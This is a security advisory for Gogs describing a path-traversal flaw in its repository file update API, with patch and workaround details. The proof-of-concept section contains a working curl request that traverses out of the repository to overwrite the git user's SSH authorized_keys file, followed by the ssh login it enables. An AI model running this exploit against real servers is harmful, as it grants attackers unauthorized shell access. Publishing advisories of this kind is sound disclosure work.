Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (#7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

1. Generate a Personal Access Tokens

2. Edit any file on the server with this

   curl -v --path-as-is -X PUT --url "https://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
   -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
   -H "Content-Type: application/json" \
   --data '{
     "message": "an",
     "content": "<base64encoded: your ssh pub key>"
   }'

3. ssh connect to remote server

   ssh -i temp git@localhost -p 10022

For more information

If you have any questions or comments about this advisory, please post on #7582.